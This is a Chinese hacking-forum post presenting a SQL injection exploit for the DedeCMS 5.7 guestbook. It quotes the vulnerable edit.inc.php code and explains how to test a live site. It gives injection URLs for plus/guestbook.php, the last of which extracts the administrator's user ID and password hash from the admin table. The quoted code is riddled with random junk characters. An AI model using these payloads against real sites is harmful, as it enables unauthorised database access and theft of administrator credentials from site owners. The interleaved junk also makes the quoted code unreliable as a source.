找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3771|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
5 W1 H( P3 {; d" p. d, E6 p' I8 O& d+ P) Y* |  c8 h
漏洞文件edit.inc.php具体代码:
9 @7 Q, M: w9 b1 V: N% C4 V8 e% N. [3 f8 F  z# d
< ?php  4 t( Z3 W7 }$ _" N4 e% r, x

' s- d, R0 D+ W: g9 V+ mif(!defined('DEDEINC')) exit('Request Error!');  
2 w; o8 x, g3 a% W, K. B( ?) T
8 ]% g/ M$ Z, t! Y% b. J   
6 y0 Z: Z* c# k( r! [6 |0 V; S  O
! A$ _( o9 {% c& n3 Hif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
- Y9 I, ^# T( a" B- S( ?' V9 d2 v
else $GUEST_BOOK_POS = "guestbook.php";  , L- ^! ^3 t0 R

3 [) m. S" I: H& D- G   
% U/ l( [8 g& V  c2 b: f% \
9 l/ x: ?3 C7 z% Q- _6 W$id = intval($id);  
  B8 z1 M1 |8 v: L1 {  Q. E% o7 S$ U' m" f" V! o
if(empty($job)) $job='view';  # T) s. L! Q* Z  F* l  r, t( q$ x
3 p3 m: H/ G% ^  k: K7 d* d2 u
   # b7 @: w, T( }

/ L* w3 L* Q9 P* F4 z- Pif($job=='del' && $g_isadmin)  ( ]- u# L! B4 x1 H$ {8 v/ e! R, s

7 Y- S; Y* i- c3 P, X! E{  , ]3 x3 r) R6 a# z' h0 y  i0 U3 q
. E4 |+ I0 O% D6 Z; u- p+ v. g  X
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
+ z8 B; t; i) a9 x, m5 @$ q7 N! b* B) y8 F6 s4 y' |) {
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
. X5 `  D) f" n( h4 n  ?
9 B9 k+ L% f  m2 ~exit();  5 K# O3 p. L! V* l( V- k
, W6 {% W* E+ ?
}  , ^# u; @7 H/ _! Q/ ]# f4 \
1 e0 g6 f! X6 K( V1 a7 `
else if($job=='check' && $g_isadmin)  & R' Z+ f; y8 B- @1 O" z
' `: G) x) F+ N# n/ E9 ?
{  
: @) H; |+ Y! g  i  N- T  ~2 d0 p/ T* ]% q
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  4 @6 `, L" r5 z" ]& u# N# ]2 E
0 x! R8 P- H  q
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
# Y/ m( o3 n0 |, d8 {' V$ P/ K) G! C5 N
exit();  . ]( Y4 @( D# A0 v0 m. s* [. |- }
7 w( G* o  |6 n6 I/ w2 B* o* r) B
}  
) o1 T  e. D& }, ~/ ]# W( w9 J( z  a
else if($job=='editok')  
5 s9 @5 R) x( H$ Z- N+ N! X" `- b' i& e
{  
3 t) i0 _( _) {5 j, V' m3 D, M; C$ t5 ]' r- {( B
$remsg = trim($remsg);  9 Q# e2 T" A! O6 m" i1 h

0 M3 [$ v6 m7 _7 r& W+ Bif($remsg!='')  
6 `6 [; I3 c+ Z' D0 z
8 i6 i: z( Y8 x0 I$ q/ F- i{  , v4 _0 w/ ^7 v7 H4 r

/ R$ T+ n7 t6 r) v+ M0 x" [//管理员回复不过滤HTML By:Errorera blog:errs.cc  ! X/ G, C: z  ~

/ y2 X$ j$ [# ^" c+ i6 W$ w6 ~$ Kif($g_isadmin)  
8 H! \* @! T$ B8 q( U6 ?1 l% s2 y' k- h1 f% k- I0 z: Q
{  " I* U0 _. c' w8 ]! P% ~& I
. ~* J+ j8 P7 _$ D9 @) e. U
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
( l# e8 }* X' [7 q
% X& C! U2 U! M* ]. X' m) }; n# T+ S//$remsg <br /><font color=red>管理员回复:</font> }  
2 J# h! [$ ]. Z0 @/ U; |$ O3 y0 @4 M# H2 o# z# V2 q: A
else
7 m9 n3 Z- z, `* o" ^+ @2 a1 }% \3 P" I) G" _- ^$ G9 i- n2 I; Q, N
{  
, Y9 @) V9 `3 r! W( R
- v5 w' B7 |2 a$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
! [, J& ]$ j' l" l$ ^/ a5 R1 k  {. B! w$ V0 m
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  - C* s5 l+ m( u) n9 g5 @
0 s1 k! T4 \8 \2 @; |
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
% v! C9 b7 o/ l; V5 Q, `1 \; i( {! t. d1 \# ^% ^" h6 y
$msg = $oldmsg.$remsg;  
; [' ~3 e% S' \$ s4 ~7 ^1 C1 t4 I0 y6 Y2 U% ^0 Q7 y
}  ' D/ I6 z6 j- n; b5 a
2 L' G2 r3 K2 N" X" G' _
}  
& v: W, Y/ N0 N0 j3 V8 J' K3 d7 n$ q1 [6 H! X7 w
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  0 D( X8 P) C9 l- b# p3 }
! m# `4 L! e: u2 A! e3 I
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
2 F6 R/ b4 P: [. a/ ], n
; i  M: n% ^$ ZShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  ) y  F- ]+ H7 f
6 Q, w' [1 G. i6 E5 h/ R
exit();  
1 L- Q  |2 k+ B0 |
$ D# }1 U9 r& \}  
0 Y2 v( @- c1 d* p
# B6 V9 I/ l$ l( r; A//home:www.errs.cc  
4 x* F; T& \/ Y
0 E  y: ?7 d5 V7 e$ \( `if($g_isadmin)  
* W0 g! `: [. q
; h: g+ Z5 e) c- h{  ' W( _# A7 B3 R9 y+ d+ F! w! d

2 a9 w" O. B. N8 d$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
4 L/ k( V" y1 f. I' G( L( G7 c( y9 H2 m$ L! V3 M
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');    _) G  t. g- s2 @! ^- Y7 b
4 f# G: z# A% R$ Z
}  ( |+ R- \5 I5 {" I9 k+ T7 C

2 E. ]3 S3 V, G" F! M; e' Q+ felse
5 Y$ p$ F8 z5 d% W* Q/ s3 \5 S# o5 c! ~: z9 n
{  ' F1 x+ Q- O. s- J. X
) b  R! W3 b9 B3 ^
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  / g& R% A& ~0 g3 @$ G7 D

& e  n' X5 _6 N7 V3 g2 lrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  : N; H$ {" @" v- I& {0 ]
8 L- f/ L! w  T' n1 O* ?9 @2 X
} 漏洞成功需要条件:( B4 \+ ?  k7 J: D* Z/ w8 H/ V
1. php magic_quotes_gpc=off) E" k8 L4 V+ R# o0 k" v
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。! v3 I  ?  g' P
3 _- D: F' N/ Y5 A" N( A" Y1 H
怎么判断是否存在漏洞:" N& l" k! Y* B# k9 j1 M1 C& M
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
* Z4 l5 o4 \4 y3 W然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID9 p$ V& X, ?  Q8 O+ j, {
访问:0 E$ q9 s8 H: u' H! }

5 G; h: w) s. }' z2 k! O' rwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
8 c' m( B2 `* f跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
* w, I) Y+ X# h2 U7 z
2 s# Q5 N  V6 T8 r0 h2 t
" s' L5 r3 ]  x明漏洞无法利用应为他开启了 php magic_quotes_gpc=off& e! ~1 g# V, W6 T
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
5 p, e' w# [* r那么再次访问
5 R, z: g: v8 m. o5 U( I' W
) s6 w8 [' A8 B0 ^# K! _+ V8 wwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
- D$ d) U/ P. k% r3 h# _
7 H6 M, X3 T  |7 ?2 ?. O) X大概利用就是这样,大家有兴趣的多研究下!!6 g! V' ~" ~4 Q- ]( o$ {
: j% z, o; k# R. n
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
" }% P7 c7 h1 |2 G1 O( u* y$ ~+ b/ B0 `" v" _: _9 e
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表